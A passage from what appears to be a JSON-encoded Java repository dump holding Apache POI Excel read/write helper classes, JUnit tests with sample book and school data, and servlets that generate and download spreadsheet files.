HH:mm:ss\");\n                if (DateUtil.isCellDateFormatted(cell)) {\n                    singleRow[i] = format.format(cell.getDateCellValue());\n                } else {\n                    singleRow[i] = String.valueOf(cell.getNumericCellValue());\n                }\n                break;\n            case Cell.CELL_TYPE_STRING:\n                singleRow[i] = cell.getStringCellValue().trim();\n                break;\n            case Cell.CELL_TYPE_ERROR:\n                singleRow[i] = \"\";\n                break;\n            case Cell.CELL_TYPE_FORMULA:\n                cell.setCellType(Cell.CELL_TYPE_STRING);\n                singleRow[i] = cell.getStringCellValue();\n                if (singleRow[i] != null) {\n                    singleRow[i] = singleRow[i].replaceAll(\"#N/A\", \"\").trim();\n                }\n                break;\n            default:\n                singleRow[i] = \"\";\n                break;\n            }\n        }\n        return singleRow;\n    }\n    \n    /**\n     * . 方法：验证文件结尾是否为xls或者xlsx\n     * \n     * @param fileName\n     * @return\n     */\n    private boolean suffixCheck(String fileName) {\n        if (fileName.lastIndexOf(\".\") > -1) {\n            String suffix = fileName.substring(fileName.lastIndexOf(\".\")+1);\n            return suffix.matches(\"xls|xlsx$\");\n        }\n        return false;\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test2/ExcelWriteHelper.java",
    "content": "/**\n * ExcelExportHelper.java类：本类位于insurance项目中的\n * com.magonchina.util包路径下，\n * 类具体的作用请参看代码中的文档注释。\n * \n * Created By 赵海龙\n */\npackage com.jun.plugin.poi.test2;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.util.List;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.Font;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\n\n/**.Excel导出工具类\n * @author Wujun\n * @version 1.0\n * @since 2016年5月13日 下午2:40:51\n */\npublic class ExcelWriteHelper {\n    private FileOutputStream fileOut = null;\n    private Workbook workBook = null;\n    \n    public ExcelWriteHelper(String filePath) throws IOException {\n        File file = new File(filePath);\n        file.createNewFile();\n        fileOut = new FileOutputStream(file);\n        workBook = new HSSFWorkbook();\n    }\n    \n    /**\n     * . 方法：导出excel\n     * \n     * @param sheetName\n     * @param titles\n     * @param dataSet\n     * @param rowMapper\n     * @throws IOException\n     */\n    public void exportExcel(String sheetName, String[] titles, List<? extends Object> dataSet,\n            WriteRowMapper rowMapper) throws IOException {\n        Sheet sheet = workBook.createSheet(sheetName);\n        sheet.setVerticallyCenter(true);\n        Row row = sheet.createRow(0);\n        for (int i = 0; i < titles.length; i++) {\n            sheet.setColumnWidth(i, titles[i].length() * 255 * 5);\n            Cell cell = row.createCell(i);\n            cell.setCellValue(titles[i]);\n            cell.setCellStyle(this.initTitleCellStyle());\n        }\n        for (int i = 0; i < dataSet.size(); i++) {\n            row = sheet.createRow(i + 1);\n            List<String> values = rowMapper.handleData(dataSet.get(i));\n            if (values.size() != titles.length) {\n                throw new IOException(\"转换后的列表长度与表头数组长度不一致\");\n            }\n            for (int j = 0; j < values.size(); j++) {\n                Cell cell = row.createCell(j);\n                cell.setCellValue(String.valueOf(values.get(j)));\n                cell.setCellStyle(this.initContentCellStyle());\n            }\n        }\n        if (fileOut != null) {\n            workBook.write(fileOut);\n            fileOut.close();\n        }\n    }\n\n    /**\n     * . 方法：初始化excel内容表格样式\n     * \n     * @return\n     */\n    private CellStyle initContentCellStyle() {\n        CellStyle cell_Style = workBook.createCellStyle();// 设置字体样式\n        cell_Style.setAlignment(CellStyle.ALIGN_CENTER);\n        cell_Style.setVerticalAlignment(CellStyle.VERTICAL_CENTER);// 垂直对齐居中\n        cell_Style.setWrapText(true); // 设置为自动换行\n        Font cell_Font = workBook.createFont();\n        cell_Font.setFontName(\"宋体\");\n        cell_Font.setFontHeightInPoints((short) 15);\n        cell_Style.setFont(cell_Font);\n        cell_Style.setBorderBottom(CellStyle.BORDER_THIN); // 下边框\n        cell_Style.setBorderLeft(CellStyle.BORDER_THIN);// 左边框\n        cell_Style.setBorderTop(CellStyle.BORDER_THIN);// 上边框\n        cell_Style.setBorderRight(CellStyle.BORDER_THIN);// 右边框\n        return cell_Style;\n    }\n\n    /**\n     * . 方法：初始化标题样式\n     * \n     * @return\n     */\n    private CellStyle initTitleCellStyle() {\n        CellStyle headerStyle = workBook.createCellStyle();// 创建标题样式\n        headerStyle.setVerticalAlignment(CellStyle.VERTICAL_CENTER); // 设置垂直居中\n        headerStyle.setAlignment(CellStyle.ALIGN_CENTER); // 设置水平居中\n        Font headerFont = workBook.createFont(); // 创建字体样式\n        headerFont.setBoldweight(Font.BOLDWEIGHT_BOLD); // 字体加粗\n        headerFont.setFontName(\"Times New Roman\"); // 设置字体类型\n        headerFont.setFontHeightInPoints((short) 15); // 设置字体大小\n        headerStyle.setFont(headerFont); // 为标题样式设置字体样式\n        return headerStyle;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test2/ReadRowMapper.java",
    "content": "/**\n * ExcelReadRowMapper.java类：本类位于insurance项目中的\n * com.magonchina.util包路径下，\n * 类具体的作用请参看代码中的文档注释。\n * \n * Created By 赵海龙\n */\npackage com.jun.plugin.poi.test2;\n\nimport java.util.Map;\n\nimport org.apache.poi.ss.usermodel.Row;\n\n/**.\n * @author Wujun\n * @version 1.0\n * @since 2016年5月13日 下午5:26:57\n */\npublic interface ReadRowMapper<T> {\n    /**.\n     * 方法：在导入excel时，用于自定义处理excel中的每行数据,调用者实现\n     * @param row excel中的行数据\n     */\n    T rowMap(Row row,Map<String, Object> map);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test2/WriteRowMapper.java",
    "content": "package com.jun.plugin.poi.test2;\n\nimport java.util.List;\n\npublic interface WriteRowMapper {\n    /**.\n     * 方法：在导出excel时，用于讲导出的数据组成list，调用者实现\n     * @param param 需要导出到excel中的对象\n     * @return\n     */\n    List<String> handleData(Object param);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test2/test/ExcelReadHelperTest.java",
    "content": "package com.jun.plugin.poi.test2.test;\n\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.poi.EncryptedDocumentException;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.junit.Assert;\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport com.jun.plugin.poi.test2.ExcelReadHelper;\nimport com.jun.plugin.poi.test2.ReadRowMapper;\n\npublic class ExcelReadHelperTest {\n    \n    private  ExcelReadHelper read = null;\n    \n    /**.\n     * 方法：\n     * @throws java.lang.Exception\n     */\n    @Before\n    public void setUp() throws Exception {\n        read = new ExcelReadHelper(\"./src/test/resources/file.xlsx\");\n    }\n\n    @Test\n    public void testReadExcel(){\n        try {\n            List<School> list = read.readExcel(0,null, new ReadRowMapper<School>() {\n                public School rowMap(Row row, Map<String, Object> map) {\n                    School school = new School();\n                    school.setSchoolNumber(((Double)map.get(\"学校标号\")).intValue());\n                    school.setSchoolName((String)map.get(\"校名\"));\n                    school.setProvince((String)map.get(\"所在省\"));\n                    school.setCity((String)map.get(\"所在市\"));\n                    return school;\n                }\n            });\n            Assert.assertArrayEquals(\"测试未通过\", new Integer[]{81}, new Integer[]{list.size()});\n        } catch (EncryptedDocumentException e) {\n            e.printStackTrace();\n        }\n    }\n}\nclass School{\n    private int schoolNumber;\n    private String schoolName;\n    private String province;\n    private String city;\n    public int getSchoolNumber() {\n        return schoolNumber;\n    }\n    public void setSchoolNumber(int schoolNumber) {\n        this.schoolNumber = schoolNumber;\n    }\n    public String getSchoolName() {\n        return schoolName;\n    }\n    public void setSchoolName(String schoolName) {\n        this.schoolName = schoolName;\n    }\n    public String getProvince() {\n        return province;\n    }\n    public void setProvince(String province) {\n        this.province = province;\n    }\n    public String getCity() {\n        return city;\n    }\n    public void setCity(String city) {\n        this.city = city;\n    }\n    @Override\n    public String toString() {\n        return \"School [schoolNumber=\" + schoolNumber + \", schoolName=\" + schoolName\n                + \", province=\" + province + \", city=\" + city + \"]\";\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test2/test/ExcelWriteHelperTest.java",
    "content": "package com.jun.plugin.poi.test2.test;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport com.jun.plugin.poi.test2.ExcelWriteHelper;\nimport com.jun.plugin.poi.test2.WriteRowMapper;\n\npublic class ExcelWriteHelperTest {\n    private ExcelWriteHelper write = null;\n\n    @Before\n    public void setUp() throws Exception {\n    }\n\n    @Test\n    public void testExport() throws IOException {\n        write = new ExcelWriteHelper(\"./src/test/resources/测试22.xls\");\n        final String[] titles = { \"图书编号\", \"图书名称\", \"图书作者\", \"图书价格\", \"图书ISBN\",\"图书出版社\", \"封面图片\" };\n        List<Book> dataset2 = new ArrayList<Book>();\n        dataset2.add(new Book(1, \"jsp\", \"leno\", 300.33f, \"1234567\", \"清华出版社\"));\n        dataset2.add(new Book(2, \"java编程思想java编程思想java编程思想java编程思想java编程思想java编程思想\", \"brucl\", 300.33f, \"1234567\", \"阳光出版社\"));\n        dataset2.add(new Book(3, \"DOM艺术\", \"lenotang\", 300.33f, \"1234567\", \"清华出版社\"));\n        dataset2.add(new Book(4, \"c++经典\", \"leno\", 400.33f, \"1234567\", \"清华出版社\"));\n        dataset2.add(new Book(5, \"c#入门\", \"leno\", 300.33f, \"1234567\", \"汤春秀出版社\"));\n        \n        write.exportExcel(\"测试\", titles, dataset2, new WriteRowMapper(){\n            public List<String> handleData(Object param) {\n                List<String> value = new ArrayList<String>(titles.length);\n                Book pp = (Book)param;\n                value.add(String.valueOf(pp.getBookId()));\n                value.add(pp.getName());\n                value.add(pp.getAuthor());\n                value.add(String.valueOf(pp.getPrice()));\n                value.add(pp.getIsbn());\n                value.add(pp.getPubName());\n                value.add(\"\");\n                return value;\n            }\n            \n        });\n    }\n\n}\n\nclass Book {\n    private int bookId;\n    private String name;\n    private String author;\n    private float price;\n    private String isbn;\n    private String pubName;\n    private byte[] preface;\n    public Book() {\n        super();\n    }\n    public Book(int bookId, String name, String author, float price,\n    String isbn, String pubName) {\n        super();\n        this.bookId = bookId;\n        this.name = name;\n        this.author = author;\n        this.price = price;\n        this.isbn = isbn;\n        this.pubName = pubName;\n    }\n    public int getBookId() {\n        return bookId;\n    }\n    public void setBookId(int bookId) {\n        this.bookId = bookId;\n    }\n    public String getName() {\n        return name;\n    }\n    public void setName(String name) {\n        this.name = name;\n    }\n    public String getAuthor() {\n        return author;\n    }\n    public void setAuthor(String author) {\n        this.author = author;\n    }\n    public float getPrice() {\n        return price;\n    }\n    public void setPrice(float price) {\n        this.price = price;\n    }\n    public String getIsbn() {\n        return isbn;\n    }\n    public void setIsbn(String isbn) {\n        this.isbn = isbn;\n    }\n    public String getPubName() {\n        return pubName;\n    }\n    public void setPubName(String pubName) {\n        this.pubName = pubName;\n    }\n    public byte[] getPreface() {\n        return preface;\n    }\n    public void setPreface(byte[] preface) {\n        this.preface = preface;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/testExport/Book.java",
    "content": "package com.jun.plugin.poi.testExport;\n\npublic class Book {\n\tprivate int bookId;\n\tprivate String name;\n\tprivate String author;\n\tprivate float price;\n\tprivate String isbn;\n\tprivate String pubName;\n\tprivate byte[] preface;\n\n\tpublic Book() {\n\t}\n\n\tpublic Book(int bookId, String name, String author, float price,\n\t\t\tString isbn, String pubName, byte[] preface) {\n\t\tthis.bookId = bookId;\n\t\tthis.name = name;\n\t\tthis.author = author;\n\t\tthis.price = price;\n\t\tthis.isbn = isbn;\n\t\tthis.pubName = pubName;\n\t\tthis.preface = preface;\n\t}\n\n\tpublic int getBookId() {\n\t\treturn bookId;\n\t}\n\n\tpublic void setBookId(int bookId) {\n\t\tthis.bookId = bookId;\n\t}\n\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic String getAuthor() {\n\t\treturn author;\n\t}\n\n\tpublic void setAuthor(String author) {\n\t\tthis.author = author;\n\t}\n\n\tpublic float getPrice() {\n\t\treturn price;\n\t}\n\n\tpublic void setPrice(float price) {\n\t\tthis.price = price;\n\t}\n\n\tpublic String getIsbn() {\n\t\treturn isbn;\n\t}\n\n\tpublic void setIsbn(String isbn) {\n\t\tthis.isbn = isbn;\n\t}\n\n\tpublic String getPubName() {\n\t\treturn pubName;\n\t}\n\n\tpublic void setPubName(String pubName) {\n\t\tthis.pubName = pubName;\n\t}\n\n\tpublic byte[] getPreface() {\n\t\treturn preface;\n\t}\n\n\tpublic void setPreface(byte[] preface) {\n\t\tthis.preface = preface;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/testExport/Excel2007Servlet.java",
    "content": "package com.jun.plugin.poi.testExport;\n\nimport java.io.BufferedInputStream;\nimport java.io.BufferedOutputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.apache.poi.xssf.usermodel.XSSFRow;\nimport org.apache.poi.xssf.usermodel.XSSFSheet;\nimport org.apache.poi.xssf.usermodel.XSSFWorkbook;\n\npublic class Excel2007Servlet extends HttpServlet {\n\tpublic static final String FILE_SEPARATOR = System.getProperties()\n\t\t\t.getProperty(\"file.separator\");\n\n\t@Override\n\tprotected void doPost(HttpServletRequest request,\n\t\t\tHttpServletResponse response) throws ServletException, IOException {\n\t\tdoGet(request, response);\n\t}\n\n\tpublic void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tString docsPath = request.getSession().getServletContext()\n\t\t\t\t.getRealPath(\"docs\");\n\t\tString fileName = \"export2007_\" + System.currentTimeMillis() + \".xlsx\";\n\t\tString filePath = docsPath + FILE_SEPARATOR + fileName;\n\t\ttry {\n\t\t\t// 输出流\n\t\t\tOutputStream os = new FileOutputStream(filePath);\n\t\t\t// 工作区\n\t\t\tXSSFWorkbook wb = new XSSFWorkbook();\n\t\t\tXSSFSheet sheet = wb.createSheet(\"test\");\n\t\t\tfor (int i = 0; i < 1000; i++) {\n\t\t\t\t// 创建第一个sheet\n\t\t\t\t// 生成第一行\n\t\t\t\tXSSFRow row = sheet.createRow(i);\n\t\t\t\t// 给这一行的第一列赋值\n\t\t\t\trow.createCell(0).setCellValue(\"column1\");\n\t\t\t\t// 给这一行的第一列赋值\n\t\t\t\trow.createCell(1).setCellValue(\"column2\");\n\t\t\t\tSystem.out.println(i);\n\t\t\t}\n\t\t\t// 写文件\n\t\t\twb.write(os);\n\t\t\t// 关闭输出流\n\t\t\tos.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\tdownload(filePath, response);\n\t}\n\n\tprivate void download(String path, HttpServletResponse response) {\n\t\ttry {\n\t\t\t// path是指欲下载的文件的路径。\n\t\t\tFile file = new File(path);\n\t\t\t// 取得文件名。\n\t\t\tString filename = file.getName();\n\t\t\t// 以流的形式下载文件。\n\t\t\tInputStream fis = new BufferedInputStream(new FileInputStream(path));\n\t\t\tbyte[] buffer = new byte[fis.available()];\n\t\t\tfis.read(buffer);\n\t\t\tfis.close();\n\t\t\t// 清空response\n\t\t\tresponse.reset();\n\t\t\t// 设置response的Header\n\t\t\tresponse.addHeader(\"Content-Disposition\", \"attachment;filename=\"\n\t\t\t\t\t+ new String(filename.getBytes()));\n\t\t\tresponse.addHeader(\"Content-Length\", \"\" + file.length());\n\t\t\tOutputStream toClient = new BufferedOutputStream(\n\t\t\t\t\tresponse.getOutputStream());\n\t\t\tresponse.setContentType(\"application/vnd.ms-excel;charset=gb2312\");\n\t\t\ttoClient.write(buffer);\n\t\t\ttoClient.flush();\n\t\t\ttoClient.close();\n\t\t} catch (IOException ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/testExport/ExcelServlet.java",
    "content": "package com.jun.plugin.poi.testExport;\n\nimport java.io.BufferedInputStream;\nimport java.io.BufferedOutputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\npublic class ExcelServlet extends HttpServlet {\n\tpublic static final String FILE_SEPARATOR = System.getProperties()\n\t\t\t.getProperty(\"file.separator\");\n\n\t@Override\n\tprotected void doPost(HttpServletRequest request,\n\t\t\tHttpServletResponse response) throws ServletException, IOException {\n\t\tdoGet(request, response);\n\t}\n\n\tpublic void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tString imagesPath = request.getSession().getServletContext()\n\t\t\t\t.getRealPath(\"images\");\n\t\tString docsPath = request.getSession().getServletContext()\n\t\t\t\t.getRealPath(\"docs\");\n\t\t(new ExportExcel()).test(imagesPath, docsPath);\n\t\tString fileName = \"export2003_a.xls\";\n\t\tString filePath = docsPath + FILE_SEPARATOR + fileName;\n\t\tdownload(filePath, response);\n\t}\n\n\tprivate void download(String path, HttpServletResponse response) {\n\t\ttry {\n\t\t\t// path是指欲下载的文件的路径。\n\t\t\tFile file = new File(path);\n\t\t\t// 取得文件名。\n\t\t\tString filename = file.getName();\n\t\t\t// 以流的形式下载文件。\n\t\t\tInputStream fis = new BufferedInputStream(new FileInputStream(path));\n\t\t\tbyte[] buffer = new byte[fis.available()];\n\t\t\tfis.read(buffer);\n\t\t\tfis.close();\n\t\t\t// 清空response\n\t\t\tresponse.reset();\n\t\t\t// 设置response的Header\n\t\t\tresponse.addHeader(\"Content-Disposition\", \"attachment;filename=\"\n\t\t\t\t\t+ new String(filename.getBytes()));\n\t\t\tresponse.addHeader(\"Content-Length\", \"\" + file.length());\n\t\t\tOutputStream toClient = new BufferedOutputStream(\n\t\t\t\t\tresponse.getOutputStream());\n\t\t\tresponse.setContentType(\"application/vnd.ms-excel;charset=gb2312\");\n\t\t\ttoClient.write(buffer);\n\t\t\ttoClient.flush();\n\t\t\ttoClient.close();\n\t\t} catch (IOException ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/testExport/ExportExcel.java",
    "content": "package com.jun.plugin.poi.testExport;\n\nimport java.io.BufferedInputStream;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Date;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport javax.swing.JOptionPane;\n\nimport org.apache.poi.hssf.usermodel.HSSFCell;\nimport org.apache.poi.hssf.usermodel.HSSFCellStyle;\nimport org.apache.poi.hssf.usermodel.HSSFClientAnchor;\nimport org.apache.poi.hssf.usermodel.HSSFComment;\nimport org.apache.poi.hssf.usermodel.HSSFFont;\nimport org.apache.poi.hssf.usermodel.HSSFPatriarch;\nimport org.apache.poi.hssf.usermodel.HSSFRichTextString;\nimport org.apache.poi.hssf.usermodel.HSSFRow;\nimport org.apache.poi.hssf.usermodel.HSSFSheet;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.hssf.util.HSSFColor;\n\n/**\n * 利用开源组件POI3.0.2动态导出EXCEL文档\n * \n * @version v1.0\n * @param <T>\n *            应用泛型，代表任意一个符合javabean风格的类\n *            注意这里为了简单起见，boolean型的属性xxx的get器方式为getXxx(),而不是isXxx()\n *            byte[]表jpg格式的图片数据\n */\npublic class ExportExcel<T> {\n\tpublic static final String FILE_SEPARATOR = System.getProperties()\n\t\t\t.getProperty(\"file.separator\");\n\n\tpublic void exportExcel(Collection<T> dataset, OutputStream out) {\n\t\texportExcel(\"测试POI导出EXCEL文档\", null, dataset, out, \"yyyy-MM-dd\");\n\t}\n\n\tpublic void exportExcel(String[] headers, Collection<T> dataset,\n\t\t\tOutputStream out) {\n\t\texportExcel(\"测试POI导出EXCEL文档\", headers, dataset, out, \"yyyy-MM-dd\");\n\t}\n\n\tpublic void exportExcel(String[] headers, Collection<T> dataset,\n\t\t\tOutputStream out, String pattern) {\n\t\texportExcel(\"测试POI导出EXCEL文档\", headers, dataset, out, pattern);\n\t}\n\n\t/**\n\t * 这是一个通用的方法，利用了JAVA的反射机制，可以将放置在JAVA集合中并且符号一定条件的数据以EXCEL 的形式输出到指定IO设备上\n\t * \n\t * @param title\n\t *            表格标题名\n\t * @param headers\n\t *            表格属性列名数组\n\t * @param dataset\n\t *            需要显示的数据集合,集合中一定要放置符合javabean风格的类的对象。此方法支持的\n\t *            javabean属性的数据类型有基本数据类型及String,Date,byte[](图片数据)\n\t * @param out\n\t *            与输出设备关联的流对象，可以将EXCEL文档导出到本地文件或者网络中\n\t * @param pattern\n\t *            如果有时间数据，设定输出格式。默认为\"yyy-MM-dd\"\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic void exportExcel(String title, String[] headers,\n\t\t\tCollection<T> dataset, OutputStream out, String pattern) {\n\t\t// 声明一个工作薄\n\t\tHSSFWorkbook workbook = new HSSFWorkbook();\n\t\t// 生成一个表格\n\t\tHSSFSheet sheet = workbook.createSheet(title);\n\t\t// 设置表格默认列宽度为15个字节\n\t\tsheet.setDefaultColumnWidth((short) 15);\n\t\t// 生成一个样式\n\t\tHSSFCellStyle style = workbook.createCellStyle();\n\t\t// 设置这些样式\n\t\tstyle.setFillForegroundColor(HSSFColor.SKY_BLUE.index);\n\t\tstyle.setFillPattern(HSSFCellStyle.SOLID_FOREGROUND);\n\t\tstyle.setBorderBottom(HSSFCellStyle.BORDER_THIN);\n\t\tstyle.setBorderLeft(HSSFCellStyle.BORDER_THIN);\n\t\tstyle.setBorderRight(HSSFCellStyle.BORDER_THIN);\n\t\tstyle.setBorderTop(HSSFCellStyle.BORDER_THIN);\n\t\tstyle.setAlignment(HSSFCellStyle.ALIGN_CENTER);\n\t\t// 生成一个字体\n\t\tHSSFFont font = workbook.createFont();\n\t\tfont.setColor(HSSFColor.VIOLET.index);\n\t\tfont.setFontHeightInPoints((short) 12);\n\t\tfont.setBoldweight(HSSFFont.BOLDWEIGHT_BOLD);\n\t\t// 把字体应用到当前的样式\n\t\tstyle.setFont(font);\n\t\t// 生成并设置另一个样式\n\t\tHSSFCellStyle style2 = workbook.createCellStyle();\n\t\tstyle2.setFillForegroundColor(HSSFColor.LIGHT_YELLOW.index);\n\t\tstyle2.setFillPattern(HSSFCellStyle.SOLID_FOREGROUND);\n\t\tstyle2.setBorderBottom(HSSFCellStyle.BORDER_THIN);\n\t\tstyle2.setBorderLeft(HSSFCellStyle.BORDER_THIN);\n\t\tstyle2.setBorderRight(HSSFCellStyle.BORDER_THIN);\n\t\tstyle2.setBorderTop(HSSFCellStyle.BORDER_THIN);\n\t\tstyle2.setAlignment(HSSFCellStyle.ALIGN_CENTER);\n\t\tstyle2.setVerticalAlignment(HSSFCellStyle.VERTICAL_CENTER);\n\t\t// 生成另一个字体\n\t\tHSSFFont font2 = workbook.createFont();\n\t\tfont2.setBoldweight(HSSFFont.BOLDWEIGHT_NORMAL);\n\t\t// 把字体应用到当前的样式\n\t\tstyle2.setFont(font2);\n\t\t// 声明一个画图的顶级管理器\n\t\tHSSFPatriarch patriarch = sheet.createDrawingPatriarch();\n\t\t// 定义注释的大小和位置,详见文档\n\t\tHSSFComment comment = patriarch.createComment(new HSSFClientAnchor(0,\n\t\t\t\t0, 0, 0, (short) 4, 2, (short) 6, 5));\n\t\t// 设置注释内容\n\t\tcomment.setString(new HSSFRichTextString(\"可以在POI中添加注释！\"));\n\t\t// 设置注释作者，当鼠标移动到单元格上是可以在状态栏中看到该内容.\n\t\tcomment.setAuthor(\"leno\");\n\t\t// 产生表格标题行\n\t\tHSSFRow row = sheet.createRow(0);\n\t\tfor (short i = 0; i < headers.length; i++) {\n\t\t\tHSSFCell cell = row.createCell(i);\n\t\t\tcell.setCellStyle(style);\n\t\t\tHSSFRichTextString text = new HSSFRichTextString(headers[i]);\n\t\t\tcell.setCellValue(text);\n\t\t}\n\t\t// 遍历集合数据，产生数据行\n\t\tIterator<T> it = dataset.iterator();\n\t\tint index = 0;\n\t\twhile (it.hasNext()) {\n\t\t\tindex++;\n\t\t\trow = sheet.createRow(index);\n\t\t\tT t = (T) it.next();\n\t\t\t// 利用反射，根据javabean属性的先后顺序，动态调用getXxx()方法得到属性值\n\t\t\tField[] fields = t.getClass().getDeclaredFields();\n\t\t\tfor (short i = 0; i < fields.length; i++) {\n\t\t\t\tHSSFCell cell = row.createCell(i);\n\t\t\t\tcell.setCellStyle(style2);\n\t\t\t\tField field = fields[i];\n\t\t\t\tString fieldName = field.getName();\n\t\t\t\tString getMethodName = \"get\"\n\t\t\t\t\t\t+ fieldName.substring(0, 1).toUpperCase()\n\t\t\t\t\t\t+ fieldName.substring(1);\n\t\t\t\ttry {\n\t\t\t\t\tClass tCls = t.getClass();\n\t\t\t\t\tMethod getMethod = tCls.getMethod(getMethodName,\n\t\t\t\t\t\t\tnew Class[] {});\n\t\t\t\t\tObject value = getMethod.invoke(t, new Object[] {});\n\t\t\t\t\t// 判断值的类型后进行强制类型转换\n\t\t\t\t\tString textValue = null;\n\t\t\t\t\t// if (value instanceof Integer) {\n\t\t\t\t\t// int intValue = (Integer) value;\n\t\t\t\t\t// cell.setCellValue(intValue);\n\t\t\t\t\t// } else if (value instanceof Float) {\n\t\t\t\t\t// float fValue = (Float) value;\n\t\t\t\t\t// textValue = new HSSFRichTextString(\n\t\t\t\t\t// String.valueOf(fValue));\n\t\t\t\t\t// cell.setCellValue(textValue);\n\t\t\t\t\t// } else if (value instanceof Double) {\n\t\t\t\t\t// double dValue = (Double) value;\n\t\t\t\t\t// textValue = new HSSFRichTextString(\n\t\t\t\t\t// String.valueOf(dValue));\n\t\t\t\t\t// cell.setCellValue(textValue);\n\t\t\t\t\t// } else if (value instanceof Long) {\n\t\t\t\t\t// long longValue = (Long) value;\n\t\t\t\t\t// cell.setCellValue(longValue);\n\t\t\t\t\t// }\n\t\t\t\t\tif (value instanceof Boolean) {\n\t\t\t\t\t\tboolean bValue = (Boolean) value;\n\t\t\t\t\t\ttextValue = \"男\";\n\t\t\t\t\t\tif (!bValue) {\n\t\t\t\t\t\t\ttextValue = \"女\";\n\t\t\t\t\t\t}\n\t\t\t\t\t} else if (value instanceof Date) {\n\t\t\t\t\t\tDate date = (Date) value;\n\t\t\t\t\t\tSimpleDateFormat sdf = new SimpleDateFormat(pattern);\n\t\t\t\t\t\ttextValue = sdf.format(date);\n\t\t\t\t\t} else if (value instanceof byte[]) {\n\t\t\t\t\t\t// 有图片时，设置行高为60px;\n\t\t\t\t\t\trow.setHeightInPoints(60);\n\t\t\t\t\t\t// 设置图片所在列宽度为80px,注意这里单位的一个换算\n\t\t\t\t\t\tsheet.setColumnWidth(i, (short) (35.7 * 80));\n\t\t\t\t\t\t// sheet.autoSizeColumn(i);\n\t\t\t\t\t\tbyte[] bsValue = (byte[]) value;\n\t\t\t\t\t\tHSSFClientAnchor anchor = new HSSFClientAnchor(0, 0,\n\t\t\t\t\t\t\t\t1023, 255, (short) 6, index, (short) 6, index);\n\t\t\t\t\t\tanchor.setAnchorType(null);\n//\t\t\t\t\t\tanchor.setAnchorType(2);\n\t\t\t\t\t\tpatriarch.createPicture(anchor, workbook.addPicture(\n\t\t\t\t\t\t\t\tbsValue, HSSFWorkbook.PICTURE_TYPE_JPEG));\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// 其它数据类型都当作字符串简单处理\n\t\t\t\t\t\ttextValue = value.toString();\n\t\t\t\t\t}\n\t\t\t\t\t// 如果不是图片数据，就利用正则表达式判断textValue是否全部由数字组成\n\t\t\t\t\tif (textValue != null) {\n\t\t\t\t\t\tPattern p = Pattern.compile(\"^//d+(//.//d+)?$\");\n\t\t\t\t\t\tMatcher matcher = p.matcher(textValue);\n\t\t\t\t\t\tif (matcher.matches()) {\n\t\t\t\t\t\t\t// 是数字当作double处理\n\t\t\t\t\t\t\tcell.setCellValue(Double.parseDouble(textValue));\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tHSSFRichTextString richString = new HSSFRichTextString(\n\t\t\t\t\t\t\t\t\ttextValue);\n\t\t\t\t\t\t\tHSSFFont font3 = workbook.createFont();\n\t\t\t\t\t\t\tfont3.setColor(HSSFColor.BLUE.index);\n\t\t\t\t\t\t\trichString.applyFont(font3);\n\t\t\t\t\t\t\tcell.setCellValue(richString);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} catch (SecurityException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} catch (NoSuchMethodException e) 